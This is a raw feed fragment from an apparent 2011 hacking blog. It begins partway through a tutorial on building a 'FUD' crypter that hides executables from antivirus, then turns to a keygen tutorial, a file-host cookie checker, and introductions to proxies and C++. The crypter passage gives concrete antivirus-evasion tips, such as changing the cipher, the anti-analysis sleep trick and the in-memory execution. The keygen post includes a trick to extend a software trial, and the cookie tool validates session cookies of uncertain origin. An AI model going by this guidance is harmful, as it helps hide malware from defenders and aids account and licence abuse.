&lt;div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;Screenshot&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_body&quot; style=&quot;display: block;&quot;&gt;&lt;b&gt;&lt;img alt=&quot;[Image: thvcelggsf76oamued2w.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/thvcelggsf76oamued2w.png&quot; /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
Click on &quot;Add Resource&quot;. Now your resource tree should look like this:&lt;/b&gt; &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;b&gt;Screenshot&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_header&quot;&gt;&lt;/div&gt;&lt;div class=&quot;spoiler_body&quot; style=&quot;display: block;&quot;&gt;&lt;b&gt;&lt;img alt=&quot;[Image: cidnyqklr7jlvzk71n73.png]&quot; border=&quot;0&quot; src=&quot;http://imagenic.net/images/cidnyqklr7jlvzk71n73.png&quot; /&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
Save your Stub with &quot;File&quot; -&amp;gt; &quot;Save as&quot; as a new application, e.g. &quot;fud_server.exe&quot; (the exe size should be the size of MyStub.exe + the size of encrypted.dat). Now your Stub is complete.&lt;br /&gt;
As a result you now have a crypted and working exe which is FUD (at the time of writing this tut).&lt;br /&gt;
&lt;br /&gt;
Remeber: the stub exe will sleep 2 seconds at the beginning in order to get the correct decryption key.&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;5. Play around with code to get your exe to be FUD again&lt;/span&gt;&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;
The more people trying to get their exe FUD with the ideas of this tutorial, the more likely the AVs have already developed a new recognition pattern to detect this kind of crypter. I gave you the source code, so you have the power and possibility to modify the code. I would say there are at least 4 places you can edit, modify, replace code. As menshioned above many AVs do only support static code analysis and that means when you manage to reorganise your Stub in some ways, it is FUD again because the pattern recognition of the AVs won&#39;t work anymore. So here come some ideas:&lt;br /&gt;
&lt;br /&gt;
1. Change the encryption algorithm. There are many other algorithms out there like Blowfish, RC6, T-DES, ... you just need to search for C++ implementations at google.&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
2. Modify the sleep statement trick (see step 3). I guess this is an easy finding for AVs so be creative and find other tricks that can distinguish between real execution and code analysis.&lt;br /&gt;
3. Change the way, how the resource (encrypted data) is handled. Maybe there are other ways to embed a resource inside an exe.&lt;br /&gt;
4. Change the way, how the decrypted code is executed in memory. I think the way I have implemented right now is also an easy finding for AVs.&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/6006231755309566657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/how-to-make-your-own-100-fud-crypter.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6006231755309566657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6006231755309566657'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/how-to-make-your-own-100-fud-crypter.html' title='How to make your own 100% FUD crypter with C++'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2350350145118778153</id><published>2011-07-05T04:20:00.000-07:00</published><updated>2011-07-05T04:20:20.974-07:00</updated><title type='text'>How to make a Keygen with C++ [and a bit of C# &amp; VB]</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Verdana,Arial,sans-serif; font-size: 13px; line-height: 18px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;Keygen Tutorial&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;Steps:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;1. Download &amp;amp; Install Microsoft Visual C++ Express (2008 - 2010)&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;[Get the trial off microsoft official website and to keep it for more than 30 days, delete the registration folder in regedit]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;2. Start a new project, name it, and select &quot;Windows Forms Application&quot;.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;3. Select the size of your keygen form and then right click it, properties and on FormBorderStyle, select None.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;[This is used to remove the titlebar and windows margins.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;4. A little bit below, turn &quot;Maximise/Minimise Box&quot; and &quot;Control Box&quot; to false. Topmost must be true if you want your keygen to always stay on top of other windows.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;[Other options such as &quot;Show icon/Show in taskbar&quot; are self explainatory, so set to false if you wish]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;5. Now you can start designing your keygen. Either make a &quot;Background Image&quot; on your form1 or from the &quot;toolbox&quot; {look for a hammer icon above} add a &quot;PictureBox&quot;. To add an image, click the arrow above the dragged box and &quot;Choose Image&quot;, then once selected you can stretch it.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;6. You can add labels for text, a progress bar... buttons, text box [this will have your generated serial] and so on, use your imagination.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;7. Everything you add pretty much has a &quot;Properties&quot; option which like Form1, you can edit stuff in it.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;8. To add music to your keygen, you have two methods. There will be a bit of C# or Visual Basic here but it&#39;s easy enough. For implemented music, check this out &lt;/span&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb324497%28VS.85%29.aspx&quot; style=&quot;color: red; font-weight: bold;&quot; target=&quot;_blank&quot;&gt;http://msdn.microsoft.com/en-us/library/...S.85).aspx&lt;/a&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;If you want to skip this, then make a WebBrowser control, make it small and invisible. Put the url to a youtube website or whatever has music to it and it will begin automatically.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;9. Animations are simply added by using a .gif file in your picture box instead of a bitmap/jpg.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;10. To make your buttons work, just make an event (double click button until you are taken to the code). &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;Now there are a few paths you can take for this to generate serials. Let&#39;s assume this is the [ Generate ] button.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;The way I know so far is below: [You MUST have a &quot;TextBox&quot; so that the below will get generated in it visually]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;codeblock&quot; style=&quot;background-color: #777777; border: 1px dashed rgb(204, 204, 204); margin: 0px; padding: 4px;&quot;&gt;&lt;div class=&quot;title&quot; style=&quot;border-bottom: 1px solid rgb(204, 204, 204); color: red; font-weight: bold; margin: 4px 0px;&quot;&gt;Code:&lt;/div&gt;&lt;div class=&quot;body&quot; dir=&quot;ltr&quot;&gt;&lt;code style=&quot;display: block; font-family: Monaco,Consolas,Courier,monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;&quot;&gt;private: System::Void button1_Click(System::Object^  sender, System::EventArgs^  e)&lt;br /&gt;
{&lt;br /&gt;
srand((unsigned)time(0));&lt;br /&gt;
int number; &lt;br /&gt;
number = (rand()%7)+1;&lt;br /&gt;
&lt;br /&gt;
if (number == 1)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
else&lt;br /&gt;
if (number == 2)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
else&lt;br /&gt;
if (number == 3)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
else&lt;br /&gt;
if (number == 4)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
else&lt;br /&gt;
if (number == 5)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
else&lt;br /&gt;
if (number == 6)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
else&lt;br /&gt;
if (number == 7)&lt;br /&gt;
this-&amp;gt;richTextBox1-&amp;gt;Text = L&quot;XXXX - XXXX - XXXX - XXXX - XXXX&quot;;&lt;br /&gt;
}&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;This just makes a variable generate on random from 1 - 7 and each one will have a specific serial.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;The code above requires two headers for the script to work : &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;#include &lt;cstdlib&gt;&lt;/cstdlib&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;#include &lt;ctime&gt;&lt;/ctime&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;11. Now that you don&#39;t have a control or titlebar, it&#39;s most likely you must have a way to exit the application. Use this-&amp;gt;Close(); on your [ Exit ] button event.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;12. The rest is up to yourself and your creativity, add colours and so on.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: bold;&quot;&gt;F7 to compile, CTRL + F5 to test, and to finish it up in an EXE, select RELEASE below the &quot;Tools&quot;window and compile.&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2350350145118778153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/how-to-make-keygen-with-c-and-bit-of-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2350350145118778153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2350350145118778153'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/how-to-make-keygen-with-c-and-bit-of-c.html' title='How to make a Keygen with C++ [and a bit of C# &amp; VB]'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2963865293054290776</id><published>2011-07-05T04:19:00.000-07:00</published><updated>2011-07-05T04:19:11.296-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>Hf &amp; Fs &amp; Fsc &amp; Mu &amp; Df Cookies Cheker program</title><content type='html'>&lt;div style=&quot;color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Verdana,Arial,sans-serif; font-size: xx-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; font-weight: bold; line-height: 21px;&quot;&gt;this program is programed by me using c# language&lt;br /&gt;
&lt;br /&gt;
it&#39;s function is to check (hotfile &amp;amp; fileserve &amp;amp; megaupload &amp;amp;filesonic &amp;amp;depositfiles )cookies either it is premium or not&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Verdana,Arial,sans-serif; font-size: xx-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px; font-weight: bold; line-height: 21px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;his program is programed by me using c# language&lt;br /&gt;
&lt;br /&gt;
it&#39;s function is to check (hotfile &amp;amp; fileserve &amp;amp; megaupload &amp;amp;filesonic &amp;amp;depositfiles )cookies either it is premium or not&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;img alt=&quot;[Image: 92043980.png]&quot; border=&quot;0&quot; src=&quot;http://img443.imageshack.us/img443/6149/92043980.png&quot; style=&quot;border-style: none;&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;img alt=&quot;[Image: 87555372.png]&quot; border=&quot;0&quot; src=&quot;http://img18.imageshack.us/img18/9634/87555372.png&quot; style=&quot;border-style: none;&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
note :&lt;br /&gt;
fileserve (short) :it is the &quot;PHPSESSID&quot;&lt;br /&gt;
fileserve (long) :it is the &quot;cookie&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;to check a cookies&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;codeblock&quot; style=&quot;background-color: #777777; border: 1px dashed rgb(204, 204, 204); margin: 0px; padding: 4px;&quot;&gt;&lt;div class=&quot;title&quot; style=&quot;border-bottom: 1px solid rgb(204, 204, 204); font-weight: bold; margin: 4px 0px;&quot;&gt;Code:&lt;/div&gt;&lt;div class=&quot;body&quot; dir=&quot;ltr&quot;&gt;&lt;code style=&quot;display: block; font-family: Monaco,Consolas,Courier,monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;&quot;&gt;1)take cookies copy&lt;br /&gt;
2)press &quot;add&quot; or &quot;past from clipboard&quot; to add cookies&lt;br /&gt;
3)choose &quot;hotfile&quot; or &quot;fileserve&quot; or&quot;megaupload&quot; or.........&lt;br /&gt;
4)press start&lt;br /&gt;
5)&quot;start button&quot; will change to &quot;stop&quot; , wait until it change to &quot;start&quot; again and the working cookies will be placed in the textbox (large one)&lt;br /&gt;
&lt;br /&gt;
note :&lt;br /&gt;
- you can use &quot;past-start&quot; to skip step 2 &amp;amp; 4&lt;br /&gt;
-this program isn&#39;t adware or spyware&lt;br /&gt;
-file size is 15 Kb only (Very simple program )&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Download:&lt;/span&gt;&lt;div class=&quot;codeblock&quot; style=&quot;background-color: #777777; border: 1px dashed rgb(204, 204, 204); margin: 0px; padding: 4px;&quot;&gt;&lt;div class=&quot;title&quot; style=&quot;border-bottom: 1px solid rgb(204, 204, 204); font-weight: bold; margin: 4px 0px;&quot;&gt;Code:&lt;/div&gt;&lt;div class=&quot;body&quot; dir=&quot;ltr&quot;&gt;&lt;code style=&quot;display: block; font-family: Monaco,Consolas,Courier,monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;&quot;&gt;http://www.fileserve.com/file/UhZzZxw&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;Scan Report :&lt;/span&gt;&lt;div class=&quot;codeblock&quot; style=&quot;background-color: #777777; border: 1px dashed rgb(204, 204, 204); margin: 0px; padding: 4px;&quot;&gt;&lt;div class=&quot;title&quot; style=&quot;border-bottom: 1px solid rgb(204, 204, 204); font-weight: bold; margin: 4px 0px;&quot;&gt;Code:&lt;/div&gt;&lt;div class=&quot;body&quot; dir=&quot;ltr&quot;&gt;&lt;code style=&quot;display: block; font-family: Monaco,Consolas,Courier,monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;&quot;&gt;http://vscan.novirusthanks.org/analysis/cb91ff53af0c9042a60e9181801dc31c/Y29va2llcy1jaGVja2VydjItMi1leGU=/&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2963865293054290776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/hf-fs-fsc-mu-df-cookies-cheker-program.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2963865293054290776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2963865293054290776'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/hf-fs-fsc-mu-df-cookies-cheker-program.html' title='Hf &amp; Fs &amp; Fsc &amp; Mu &amp; Df Cookies Cheker program'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-7780597666400614638</id><published>2011-07-05T04:17:00.000-07:00</published><updated>2011-07-05T04:17:46.002-07:00</updated><title type='text'>Proxy Servers and Anonymizers</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-153  aligncenter&quot; height=&quot;303&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/proxy-server.jpg&quot; title=&quot;proxy-server&quot; width=&quot;500&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;Proxy is a network computer that can serve as an intermediate for connection with other computers. They are usually used for the following purposes:&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;div&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;As firewall, a proxy protects the local network from outside access.&lt;/li&gt;
&lt;li&gt;As IP-addresses multiplexer, a proxy allows to connect a number of computers to Internet when having only one IP-address.&lt;/li&gt;
&lt;li&gt;Proxy servers can be used (to some extent) to anonymize web surfing.&lt;/li&gt;
&lt;li&gt;Specialized proxy servers can filter out unwanted content, such as ads or ‘unsuitable’ material.&lt;/li&gt;
&lt;li&gt;Proxy servers can afford some protection against hacking attacks.&lt;/li&gt;
&lt;/ul&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 130%;&quot;&gt;Anonymizers&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;Anonymizers are services that help make your own web surfing anonymous.&lt;/li&gt;
&lt;li&gt;The first anonymizer developed was Anonymizer.com, created in 1997 by Lance Cottrell.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;An anonymizer removes all the identifying information from a user’s computers while the user surfs the Internet, thereby ensuring the privacy of the user.&lt;/li&gt;
&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/7780597666400614638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/proxy-servers-and-anonymizers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/7780597666400614638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/7780597666400614638'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/proxy-servers-and-anonymizers.html' title='Proxy Servers and Anonymizers'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-6699257498091500528</id><published>2011-07-05T04:13:00.001-07:00</published><updated>2011-07-05T04:13:52.523-07:00</updated><title type='text'>C++ Projects</title><content type='html'>&lt;span style=&quot;color: red; font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;C++ Instructions&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;C++ works by giving (separate) instructions to the computer. These instructions can be treated as assignments. On this site, such an assignment will be called a function. The primary function used in C++ is called main. To distinguish a function from the other types of things you will be using in your programs, a function&#39;s name is followed by an opening and a closing parentheses. For example, the main function will always be written at least as main(). When we perform a better study of functions, we will learn more about functions, their parentheses, and other related issues.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;When a program is written and you ask the computer to &quot;execute&quot; it, the first thing to look for is the main() function. This means that every C++ program should have the main() function. Because a function is an assignment, in order to perform its job, a function has a body; this is where the behavior (assignment) of the function would be &quot;described&quot;. The body of a function starts with an opening curly bracket &quot;{&quot; and closes with a closing curly bracket &quot;}&quot;. Everything in between belongs to, or is part of, the function. Therefore, the main() function can be written as:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;main() {}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;As we learned that we should (must) always include the libraries that we would need, our program now would include main(). Whenever you create a program, it is important to isolate any inclusion of a library on its own line. Here is an example:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;#include &lt;iostream&gt;&lt;br /&gt;
using namespace std;&lt;br /&gt;
main(){}&lt;br /&gt;
&lt;br /&gt;
C++ is the computer language we are going to study to write programs. C++ is a very universal language, it can be used to write programs for Linux, MS Windows, Macintosh, BeOS, Unix, etc. C++ is very powerful and can be used to create other compilers or languages, it can also be used to write an operating system. This means that you can use C++ to create/write your own computer language. You can also use C++ to create/write your own compiler; this means that, using C++, you can create your own implementation of C++, Pascal, Basic, Perl, or any other existing or non-existing language.&lt;br /&gt;
&lt;br /&gt;
There are many products you can use to create a program in C++. Before a program is made available, it is called a project because you are working on it. Although in the beginning you will usually be working alone, most programs involve a lot of people. That is why during the development of a program or software product, it is called a project. Each one of the available environments provides its own technique(s) of creating a C++ program or working on a C++ project. Therefore, the person who, or the company that, made the environment available to you must tell you how to use that environment (it is neither your responsibility, nor the C++ Standard’s job to tell you how to create a program or how to start a project). I will try to cover those that I know.&lt;br /&gt;
&lt;br /&gt;
The programs we will be creating on this site are called console applications. They can also be called Bash programs (especially on Unix/Linux). The technique you follow to create a project depends on the environment you are using.&lt;/iostream&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: red; font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;color: red; font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Executing a Program&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;ParaJust&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;To see what your program does, you need to realize that the lines we have typed are English language instructions asking C++ to perform the main() function. Unfortunately, the computer doesn&#39;t understand what all of this means (to a certain extent). The computer has its own language known as the machine language. So, we need to translate it in a language the computer can understand. A program was created to that effect and supplied to you with C++. This is what we call a compiler.&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;       &lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;ParaJust&quot; style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In the past, a program used to be created from various parts all over the computer, some of the techniques are still used to &quot;debug&quot; a program to isolate problems or &quot;bugs&quot;. Since this is a small program, we will just ask the computer to &quot;execute&quot; it and see the result. Throughout this site, the words (or verbs) &quot;execute&quot; and &quot;run&quot; will be used interchangeably to mean the same thing. 